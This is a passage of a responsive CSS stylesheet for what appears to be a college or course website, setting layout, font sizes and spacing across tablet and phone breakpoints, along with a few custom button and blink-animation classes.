padding-right: 30px; } .footer .subscribe input[type='email'] { width: 75%; } .footer .subscribe .clear:before{ font-size:18px; top:3px; } .footer .subscribe .clear .button{ width:40px; height:34px; } .footer ul.follow-us li { padding: 0 2px; } .footer ul.follow-us li a { width: 30px; height: 30px; line-height: 28px; font-size: 14px; border: 1px solid #4d87b5; } .footer .instagram { padding: 14px 15px 18px 0; } .footer .subscribe input[type='email'] { width: 78%; height: 34px; } ul.browse-teachers-list p { padding: 0 0 20px 0; } .about-video .container { height: 400px; } .about-video p { font-size: 50px; } .inner-banner a.apply-online { width: 100%; } .enquire-wrapper { max-width: none; margin-top: 30px; } .enquire-now { margin-top: 20px; max-width: none; } .course-detail { padding: 20px; margin: 30px 0 0 0; } .course-detail .duration { width: 33.3%; padding-right: 20px; } .course-detail .duration .icon { float: none; margin: 0 auto; } .course-detail .duration .detail { width: 100%; padding-left: 0px; text-align: center; } .course-detail .duration.eligible { width: 33.3%; padding: 0 20px; } .course-detail .duration.fee { width: 33.3%; border-right: none; padding: 0 20px; } .course-detail .btn { margin: 10px 0 0 32px; } .how-apply ul li .icon-block { width: 135px; height: 135px; line-height: 135px; } .how-apply ul li .icon-block img { width: 60px; } .how-apply ul li p { padding: 34px 0 25px; } .how-apply ul li .icon-block .num { width: 34px; height: 34px; line-height: 34px; font-size: 16px; top: 20px; right: -8px; } .how-apply ul li:nth-child(1):after { top: 10px; } #myTabs { padding: 0px; } .course-tab > li > a { padding: 18px 0px; font-size: 16px; } .course-table > tbody > tr > td, .course-table > tfoot > tr > td, .course-table > thead > tr > td { padding: 18px 20px; } #schedule .fee-amt { font-size: 20px; } #semester ul.content > li h4 { font-size: 16px; } ul.blog-listing > li { padding-bottom: 30px; margin-bottom: 40px; } ul.blog-listing > li h2 { padding: 20px 0 10px; font-size: 20px; } .blog-left:after { right: -20px; } .blog-right { padding-left: 20px; } .search-block input { width: 78%; } ul.post-detail li { padding-right: 15px; } .category ul li a { font-size: 12px; } .blog-left .comments-wrapper ul.comments li.col-xs-offset-1 { padding-left: 64px; } .not-found-wrapper { width: 60%; margin: 80px auto; padding-top: 198px; } .not-found-wrapper h1 { font-size: 166px; } .faq-wrapper .search-block input { height: 48px; } .faq-wrapper .search-block .search { width: 48px; height: 48px; } ul.faq-listing li .inner { padding: 20px 20px 20px 68px; } ul.faq-listing li .inner:before { top: 36px; } .faq-wrapper .text-center, .testimonial-outer .text-center { margin-top: 40px; } .login-wrapper .login { max-width: 460px; } .login-wrapper .login-logo { margin-bottom: 0; text-align: center; } .login-wrapper .login-logo a { width: 250px; display: inline-block; } .login-wrapper .head-block { padding: 22px 0; } .login-wrapper .head-block h1 { font-size: 30px; } .login-wrapper .cnt-block { padding: 30px; } .login-wrapper .or { width: 20%; } .login-wrapper .btn { padding: 10px 20px; } ul.testimonials li p { font-size: 15px; line-height: 26px; } ul.testimonials li .quotblock { padding: 40px 10px; } ul.gallery-filter li { width: auto; font-size: 17px; padding: 0 16px; } ul.gallery-filter li a { padding-bottom: 20px; } .campus-tour .pagination { margin: 50px 0; } .news-wrapper .text-center { margin-top: 10px; } ul.news-listing > li h2 { font-size: 18px; line-height: 26px; } ul.news-listing > li p { line-height: 24px; } .news-wrapper ul.post-detail li { padding-right: 10px; padding-bottom: 2px; } ul.news-listing > li .cnt-block { padding: 20px; } .form-outer .cnt-block { padding: 50px 20px; } .form-outer ul.select-opt { padding-bottom: 30px; } .form-outer .col-left:first-child { padding-right: 0; } .col-left ul.select-opt li label { padding-right: 21px; } .generic-wrapper ul.our-spec { padding-bottom: 40px; } .generic-wrapper .button-group { text-align: center; } .ImgPH { height:500px; } .ImgPR { left:30%; } } /* Landscape phone to portrait tablet */ @media (max-width: 767px) { .navbar-inverse .navbar-toggle { border: none; } .navbar-inverse .navbar-toggle:focus, .navbar-inverse .navbar-toggle:hover { background: none; } .navbar-form { background: none; border: none; box-shadow: none; } .navbar-form .search-btn { top: 4px; } .form-control { padding: 6px 30px; } .navbar-toggle .icon-bar { width: 26px; height: 3px; } .navbar-collapse { box-shadow: none; border: none; padding: 0 15px; } .navbar-form { width: auto; margin: 0 -15px; } .nav > li > a { padding: 12px 20px; } .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:focus, .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:hover { color: #333; } .navbar-nav .open .dropdown-menu { background: #fff; border-radius: 0px; } .navbar .dropdown-menu { padding: 10px 0; } .navbar .dropdown-menu:after { display: none; } .header-top ul.top-nav li { padding: 0 7px; } .header-top .right-block { float: none; } .header-top .lang-wrapper { margin-right: -15px; } .header-middle a.login { padding: 5px 14px; } .banner-outer .content { float: none; padding: 50px 0px; } .banner-outer .content h1 span { font-size: 60px; } .banner-outer .slide2 .content h1, .banner-outer .slide3 .content h1 { font-size: 44px; } .banner-outer .content p { font-size: 14px; line-height: 24px; } .banner-outer .bx-wrapper .bx-pager { bottom: 10px; } .banner-outer .slide1, .banner-outer .slide2, .banner-outer .slide3 { height: 350px; } .about { padding: 40px 0 40px; } .about .video-block a { width: 50px; margin-top: -25px; } .modal-open .modal { padding-right: 0px !important; } .about ul.our-links { margin: -226px -15px 30px -15px; } .about ul.our-links li { padding: 20px 20px 30px 20px; } .about ul.our-links li .icon { width: 20%; } .about ul.our-links li .detail { width: 80%; } .about ul.our-links li .detail a.more { width: 30px; height: 30px; line-height: 24px; font-size: 16px; position: relative; } .about .left-block { padding-bottom: 30px; } .details-tab, .padding-lg { padding-top: 40px; padding-bottom: 40px; } .our-cources h2, .how-study h2, .why-choose h2, .news-events h2, .campus-tour h2, .testimonial h2, .about h2, .browse-teacher h2, .how-apply h2, .have-question h2 { padding-bottom: 30px; font-size: 26px; } .our-impotance ul li .inner { padding: 10px 10px 30px 10px; border-bottom: 1px #e9e9e9 solid; } .our-impotance ul li:last-child { margin-bottom: 0px !important; } .our-impotance ul li:last-child .inner { border-bottom: none; } .our-impotance ul li { border-right: none; margin-bottom: 30px !important; } .our-impotance ul li:after { display: none; } .our-impotance ul li h3 span { display: inline; } .how-study ul li { margin-bottom: 20px; } .how-study ul li .cnt-block { left: 20px; } ul.our-strength li { width: 24%; border: none; } ul.our-strength li span { font-size: 26px; } ul.our-strength li .title { line-height: 20px; } .news-events ul { margin-bottom: 30px; } .news-events ul li { margin-bottom: 30px; } .news-events ul li .cnt-block { padding: 40px 20px 20px; } .news-events ul li .cnt-block h3 { font-size: 18px; line-height: 28px; } .news-events ul li .cnt-block .plus-icon { width: 54px; height: 54px; line-height: 54px; font-size: 30px; top: -27px; } .news-events ul li .bottom-block { padding-top: 20px; } .campus-tour { padding-bottom: 0px; } .campus-tour ul.gallery li { width: 50%; } .campus-tour ul.gallery li h3 { font-size: 18px; } .campus-tour ul.gallery li a { width: 44px; height: 44px; margin: 0 4px; line-height: 44px; font-size: 18px; } .campus-tour ul.gallery li:hover .overlay { top: 60%; } .campus-tour ul.gallery li p { padding-bottom: 10px; } .logos { padding: 30px 0; } .testimonial ul li p { font-size: 18px; line-height: 28px; } .testimonial ul li span { font-size: 16px; } .testimonial .wrapper:before, .testimonial .wrapper:after { font-size: 38px; } .footer .row1 { padding-top: 30px; padding-bottom: 30px; } .footer .row1 .col-sm-9 { padding-bottom: 15px; } .footer .foot-nav { width: 100%; border-bottom: 1px #2e5f85 solid; padding: 10px 0 12px 0; } .footer .foot-nav h3 { padding-bottom: 0px; cursor: pointer; } .footer .foot-nav h3:after { display: inline-block; vertical-align: middle; margin-top: -4px; float: right; content: " + "; } .footer .foot-nav h3.open:after { content: " - "; } .footer .foot-nav ul { padding: 15px 0 10px 0; } .footer .bottom { padding: 20px 0px; } .footer .connect-us, .footer .subscribe, .footer .instagram { width: 100%; border-right: none; padding-right: 0px; } .footer .instagram ul li a img { width: 100%; } ul.browse-teachers-list > li { padding-top: 30px; padding-bottom: 30px; border-bottom: 1px #e5e5e5 solid; } ul.browse-teachers-list > li:nth-child(2n) { border-right: none; } ul.browse-teachers-list > li:nth-last-child(2) { border-bottom: none; } .about-video .container { height: 300px; } .about-video p { font-size: 36px; } .inner-banner { padding: 30px 0 20px; } .inner-banner h1 { font-size: 30px; padding-bottom: 10px; } .inner-banner p { padding-bottom: 10px; font-size: 14px; line-height: 24px; } .inner-banner a.apply-online .left { padding: 12px 0 12px 24px; } .inner-banner a.apply-online .arrow { line-height: 64px; } .about .btn-wrapper { margin-bottom: 20px; } .select-course { float: left; margin-bottom: 30px; } .our-cources.sub h2 { padding-left: 0px; } .our-cources ul.inner li { margin-bottom: 70px; } .our-cources ul.inner li:before { bottom: -35px; display: none; } .our-cources ul.inner li:nth-child(2n):after { display: none; } ul.cert-list li { width: 100%; float: none; } ul.cert-list li:nth-last-child(2) { border-bottom: 1px dashed #c0c4c6; } .enquire-now { max-width: none; margin-top: 0; } .enquire-wrapper { max-width: none; } .course-detail { padding: 0 20px; margin: 20px 0 0 0; } .course-detail .duration { width: auto; padding: 20px 0; border: none; float: none; border-bottom: 1px solid #dfe9f1; } .course-detail .duration.eligible { width: auto; padding: 20px 0px; } .course-detail .duration.fee { width: auto; float: none; padding: 20px 0px; border: none; } .course-detail .duration.fee .detail { padding: 0px; } .course-detail .btn { position: absolute; right: 36px; bottom: 22px; float: none; margin: 10px 0 0 0; } .how-apply ul, .how-apply ul li { padding-bottom: 30px; } .how-apply ul li .icon-block { width: 135px; height: 135px; line-height: 135px; } .how-apply ul li .icon-block img { width: 60px; } .how-apply ul li .icon-block .num { width: 34px; height: 34px; line-height: 34px; font-size: 16px; top: 20px; right: -8px; } .how-apply ul li:nth-child(1):after, .how-apply ul li:nth-child(2):after { display: none; } .comments-wrapper ul.comments { padding-top: 40px; padding-bottom: 10px; } .comments-wrapper ul.comments li .com-txt { padding: 20px; } .leave-comment { padding-bottom: 30px; border-bottom: 1px solid #e9e9e9; } .leave-comment h4 { padding: 30px 0; } .leave-comment textarea { height: 100px; } #myTabs { padding: 0px; } .course-tab { margin-bottom: 30px; } .course-tab > li > a { font-size: 14px; padding-bottom: 16px; } .course-tab > li > a span { font-size: 44px; padding-bottom: 14px; } .course-tab > li > a .block { display: block; } .course-table > tbody > tr > td, .course-table > tfoot > tr > td, .course-table > thead > tr > td { padding: 18px 20px; } #schedule .fee-amt { font-size: 18px; } #semester ul.content { border-bottom: 1px dashed #c9cdce; padding-bottom: 24px; margin-bottom: 24px; } #semester .col-sm-6:last-child ul.content { border-bottom: none; padding-bottom: 0px; margin-bottom: 0px; } #semester ul.content > li h4 { font-size: 16px; } .inner-banner.contact, .inner-banner.blog { padding: 30px 0 60px 0; } .inner-banner.contact p, .inner-banner.blog p { padding-bottom: 0px; } .form-wrapper .row .col-sm-6 { margin-bottom: 20px; } .form-wrapper .row .col-sm-12 { margin-bottom: 20px; } .contact-detail .address { padding: 18px 40px 12px 60px; } .contact-bottom { padding: 18px 0 14px 0; } .blog-left { padding-bottom: 30px; } .blog-left:after { display: none; } .blog-right { padding-left: 0px; } ul.blog-listing > li { padding-bottom: 30px; margin-bottom: 40px; } ul.blog-listing > li h2 { padding: 20px 0 15px; font-size: 18px; line-height: 26px; } ul.post-detail li { padding-bottom: 4px; padding-right: 18px; } .inner-banner.blog { min-height: 160px; } .recent-post, .archives { padding-bottom: 30px; margin-bottom: 30px; border-bottom: 1px #e9e9e9 solid; } .blog-left .comments-wrapper ul.comments li.col-xs-offset-1 { padding-left: 64px; } .category { padding-bottom: 30px; margin-bottom: 30px; border-bottom: 1px #e9e9e9 solid; } .not-found-wrapper { width: 80%; margin: 50px auto; padding-top: 178px; } .not-found-wrapper h1 { font-size: 116px; } .not-found-wrapper p { font-size: 26px; padding-bottom: 40px; } .faq-wrapper .search-block input { height: 48px; } .faq-wrapper .search-block .search { width: 48px; height: 48px; } ul.faq-listing li .inner { padding: 10px 20px 30px 48px; } ul.faq-listing li .inner:before { top: 26px; font-size: 36px; } ul.faq-listing li:nth-last-child(2) .inner { border-bottom: 1px #e2e4e6 solid; } ul.faq-listing li:nth-child(2n) .inner { padding-left: 48px; } ul.faq-listing li .inner:before { left: 0px !important; top: 22px; } .faq-wrapper .text-center, .testimonial-outer .text-center { margin-top: 40px; } .login-wrapper .login { max-width: 360px; } .login-wrapper .login-logo { margin-bottom: 0; text-align: center; } .login-wrapper .login-logo a { width: 220px; display: inline-block; } .login-wrapper .head-block { padding: 18px 15px; } .login-wrapper .head-block h1 { font-size: 26px; } .login-wrapper .cnt-block { padding: 30px; } .login-wrapper .btn { padding: 8px 14px; } .login-wrapper .login-footer { padding: 12px 15px; } .login-wrapper ul.follow-us li { padding: 0 12px; } ul.testimonials:after { display: none; } ul.testimonials li h3 { padding-top: 8px; } ul.testimonials li p { font-size: 15px; line-height: 28px; } ul.testimonials li .quotblock { padding: 30px 10px 15px 10px; } ul.testimonials li:nth-child(3) .quotblock { padding-top: 30px; } ul.testimonials li:nth-last-child(2), ul.testimonials li:nth-last-child(3) { border-bottom: 1px solid #dfe5e1 !important; } ul.testimonials li:nth-child(odd):before, ul.testimonials li:nth-child(even):after { display: none; } ul.testimonials li:nth-child(even) { border-right: none; } ul.testimonials li:nth-last-child(2):before, ul.testimonials li:nth-last-child(3):before, ul.testimonials li:nth-last-child(2):after, ul.testimonials li:nth-last-child(3):after { display: block !important; } ul.gallery-filter { padding: 0px; } ul.gallery-filter li { width: auto; float: none; display: inline-block; padding: 0 16px; font-size: 16px; } ul.gallery-filter li a { padding-bottom: 20px; } .campus-tour .pagination { margin: 40px 0; } .news-wrapper .text-center { margin-top: 10px; } ul.news-listing > li h2 { font-size: 18px; line-height: 26px; } ul.news-listing > li p { line-height: 24px; } .news-wrapper ul.post-detail li { padding-right: 10px; padding-bottom: 2px; } ul.news-listing > li .cnt-block { padding: 20px; } .privacy-wrapper h2 { font-size: 24px; } .privacy-wrapper h3 { font-size: 20px; } ul.privacy-listing { padding: 0px; } ul.privacy-listing > li { padding-bottom: 10px; } ul.privacy-listing > li:last-child { border-bottom: 1px dashed #c9cdce; } ul.privacy-listing > li.last { border-bottom: none; } .privacy-wrapper .padding-top { padding-top: 10px; } .imp-note { padding: 20px; } .imp-note span { float: none; margin: 0px auto 20px; } .imp-note p { text-align: center; } .form-outer ul.select-opt { padding-bottom: 20px; } .form-outer .cnt-block textarea { height: 100px; } .form-outer .col-left { float: none; } .form-outer .select2.select2-container { margin-bottom: 30px; } .modal-body { padding: 10px; } .generic-wrapper ul.our-spec { padding-bottom: 40px; } .generic-wrapper .button-group { margin-bottom: 40px; text-align: center; } .generic-wrapper .pagination { padding-bottom: 30px; } .generic-wrapper ul.privacy-listing > li:last-child { border-bottom: none; } .ImgPH { height:500px; } .ImgPR { left:30%; } } /* Landscape phones and down */ @media (max-width: 640px) { .banner-outer .content h1 span { font-size: 50px; } .why-choose ul li { width: 48%; padding-bottom: 30px; } .why-choose ul li:nth-child(n+3) { padding-bottom: 0px; } ul.our-strength.opt2 li { border-right: none; } ul.testimonials li { width: 100%; } ul.testimonials li:before, ul.testimonials li:nth-last-child(2):before, ul.testimonials li:nth-last-child(3):before, ul.testimonials li:after, ul.testimonials li:nth-last-child(2):after, ul.testimonials li:nth-last-child(3):after { display: none !important; } ul.testimonials li:nth-last-child(2), ul.testimonials li:nth-last-child(3) { border-bottom: 1px solid #dfe5e1; } ul.testimonials li:first-child .quotblock { padding-top: 0px; } ul.testimonials li:nth-child(2) .quotblock { padding-top: 30px; } ul.gallery-filter li { margin-bottom: 10px; font-size: 15px; padding: 0 6px; } ul.gallery-filter li a { padding-bottom: 8px; } ul.news-listing > li { width: 100%; } ul.select-opt li { width: 100%; margin-bottom: 8px; float: none; } .generic-wrapper ul.our-spec li { width: 50%; min-height: 142px; } .generic-wrapper a.btn-circle { margin-bottom: 20px; } .button-group1 a.download-pros, .button-group1 a.download-cert { width: 100%; margin: 0 0 2px 0; } .ImgPH { height:500px; } .ImgPR { left:20%; } } /* Landscape phones and down */ @media (max-width: 480px) { .banner-outer .content h1 { font-size: 26px; line-height: 38px; } .banner-outer .content h1 span { font-size: 50px; } .our-impotance ul li { width: 100%; } .our-impotance ul li:after { width: 94%; } .our-impotance ul li .inner { padding: 10px 10px 30px 10px; } .our-impotance ul li h3 span { display: inline; } .testimonial ul li p { font-size: 16px; line-height: 26px; } .testimonial .wrapper:before, .testimonial .wrapper:after { font-size: 28px; } .about-video .container { height: 300px; } .about-video p { font-size: 32px; } a.download-pros { margin-bottom: 1px; } a.download-pros, a.download-cert { width: 100%; border: none; } .our-cources ul.inner li { width: 100%; margin-bottom: 40px; } .our-cources ul.inner li:nth-child(n+9) { margin-bottom: 40px; } .our-cources ul.course-list li:after { display: none; } .enquire-now .inner .row2 input { width: 100%; margin: 0 0 14px 0; } ul.browse-teachers-list > li { width: 100%; border: none; padding-top: 20px; padding-bottom: 20px; } .leave-comment input { width: 100%; } .leave-comment input:first-child { margin-bottom: 30px; } .course-detail .duration .icon { width: 57px; height: 57px; font-size: 34px; } .form-outer input { height: 40px; padding: 0 15px; margin-bottom: 20px; } .login-wrapper .remember { margin-top: 20px; } .register .cnt-block textarea { margin-bottom: 20px; } .form-outer input.country-code { width: 20%; } .form-outer input.phone-no { width: calc(80% - 18px); } .ImgPH { height:500px; } .ImgPR { left:13%; } } /* iPhone 6 Plus and down */ @media (max-width: 414px) { .about-video p { font-size: 26px; } .pagination > li > a, .pagination > li > span { margin: 0 2px; padding: 4px 10px; font-size: 13px; } .pagination > li:first-child > a, .pagination > li:first-child > span, .pagination > li:last-child > a, .pagination > li:last-child > span { padding: 5px 14px; } .pagination > li:first-child a i { margin-right: 4px; } .pagination > li:last-child a i { margin-left: 4px; } .course-tab > li > a { font-size: 13px; } .not-found-wrapper { padding-top: 158px; } .not-found-wrapper h1 { font-size: 96px; } .not-found-wrapper p { font-size: 22px; padding-bottom: 30px; } .ImgPR { left:13%; } } /* iPhone 6 and down */ @media (max-width: 375px) { .header-middle a.login { padding: 2px 8px; } .banner-outer .content h1 { font-size: 22px; line-height: 34px; } .banner-outer .content h1 span, .banner-outer .slide2 .content h1, .banner-outer .slide2 .content h1 { font-size: 38px; line-height: 40px; } .btn { padding: 8px 16px; } .testimonial #bx-pager a { margin: 0 2px; } .testimonial .wrapper:before { top: 44px; } .testimonial .wrapper:after { bottom: -26px; } .testimonial ul li p { padding-top: 30px; } .course-tab > li > a span { font-size: 40px; } .course-tab > li > a { font-size: 12px; } .not-found-wrapper { padding-top: 138px; } .not-found-wrapper h1 { font-size: 86px; } .login-wrapper .head-block h1 { font-size: 20px; } .login-wrapper .login { max-width: 320px; } .login-wrapper .cnt-block { padding: 20px 15px; } .login-wrapper .btn { padding: 6px 12px; } .privacy-wrapper h2 { font-size: 22px; } .ImgPH { height:500px; } .ImgPR { left:8%; } } /* iPhone 4 */ @media (max-width: 320px) { .about-video p { font-size: 24px; } .course-detail .btn { position: inherit; margin: 10px 0 20px 0; right: auto; } .not-found-wrapper { padding-top: 128px; } .not-found-wrapper h1 { font-size: 66px; } .not-found-wrapper p { font-size: 18px; } ul.faq-listing li h2 { font-size: 16px; } .login-wrapper .login { max-width: 300px; } .login-wrapper .cnt-block { padding: 20px 15px; } .login-wrapper .btn { padding: 6px 12px; font-size: 12px; } .ImgPH { height:500px; } .ImgPR { left:2.8%; } } .FrmHead { font-size:18px; border-bottom:#B82921 2px solid; color:#000; padding:6px 16px 10px 0; margin-bottom:26px; } .FrmHead1 { font-size:16px !important;text-transform:uppercase; } .FrmMrgBot { margin-bottom:30px; } .FrmMrgBot1 { margin-bottom:10px; } .TxtTN { text-transform:none !important; } .PdnUlBot { padding-bottom:10px !important; } .FrmStar { position:absolute; top:40px; left:33%; font-size:18px;font-weight:bold; } .FrmStar1 { position:absolute; top:40px; left:63%;font-size:18px; font-weight:bold; } .CorTab { float:left; width:100%; margin:0; padding:0; border:0; } .CorTab th { padding:10px; text-align:left; vertical-align:top; border:1px solid #eee; /*background:#B82921;*/ color:#B82921; text-transform:uppercase; font-size:16px; font-weight:500; letter-spacing:1px; } .CorTab td { padding:10px; text-align:left; vertical-align:top; border:1px solid #eee;letter-spacing:1px; } .CorTab td a {color:#B82921; } .CorTab td a:hover {color:#000; } /*.CorTab tr:nth-child(odd) {background-color:#eee; } .CorTab tr:nth-child(even) {background-color:#fff; }*/ .LogoBg { background: url(../images/tp-logo.html) top center no-repeat #fff; } .PPbutton {-webkit-transform: rotate(-90deg);-moz-transform: rotate(-90deg);-ms-transform: rotate(-90deg);-o-transform: rotate(-90deg);transform: rotate(-90deg); float:left; width:auto;margin:0; padding:10px; position:fixed; left:-83px; top:50%; background:#f0bc01; color:#fff; font-size:16px; font-weight: bold; text-transform:uppercase; text-align:center; letter-spacing:1px; z-index:9999;-webkit-border-bottom-left-radius: 10px; -webkit-border-bottom-right-radius: 10px;-moz-border-radius-bottomleft: 10px;-moz-border-radius-bottomright: 10px;border-bottom-left-radius: 10px;border-bottom-right-radius: 10px;-webkit-box-shadow: 1px 1px 5px 0px rgba(0,0,0,0.75);-moz-box-shadow: 1px 1px 5px 0px rgba(0,0,0,0.75);box-shadow: 1px 1px 5px 0px rgba(0,0,0,0.75); } .PPbutton1 {float:right; width:auto;margin:0; padding:6px 10px; position:fixed; right:290px; bottom:0; background:#ff9600; color:#fff; font-size:15px; font-weight: bold; text-transform:uppercase; text-align:center; letter-spacing:1px; z-index:9999;-webkit-border-top-left-radius: 6px; -webkit-brder-top-right-radius: 6px;-moz-border-radius-topleft: 6px;-moz-border-radius-topright: 6px;border-top-left-radius: 6px;border-top-right-radius: 6px;-webkit-box-shadow: 1px 1px 5px 0px rgba(0,0,0,0.75);-moz-box-shadow: 1px 1px 5px 0px rgba(0,0,0,0.75);box-shadow: 1px 1px 5px 0px rgba(0,0,0,0.75); } .blink { -webkit-animation-name: blink; -moz-animation-name: blink; -o-animation-name: blink; animation-name: blink; -webktit-animation-timing-function: linear; -moz-animation-timing-function: linear; -o-animation-timing-function: linear; animation-timing-function: linear; -webkit-animation-duration: 1s; -moz-animation-duration: 1s; -o-animation-duration: 1s; animation-duration: 1s; } .blink-infinite { -webkit-animation-iteration-count: infinite; -moz-animation-iteration-count: infinite; -o-animation-iteration-count: infinite; animation-iteration-count: infinite; } @-webkit-keyframes blink { 50% { opacity: 0; } } @-moz-keyframes blink { 50% { opacity: 0; } } @-o-keyframes blink { 50% { opacity: 0; } } @keyframes blink { 50% { opacity: 0; } } .frCN { font-size:20px; margin-left:10px; } .pm-button { position: fixed; z-index: 999; top: 50%; right: -46px; -webkit-transform: rotate(90deg); -moz-transform: rotate(90deg); transform: rotate(90deg); }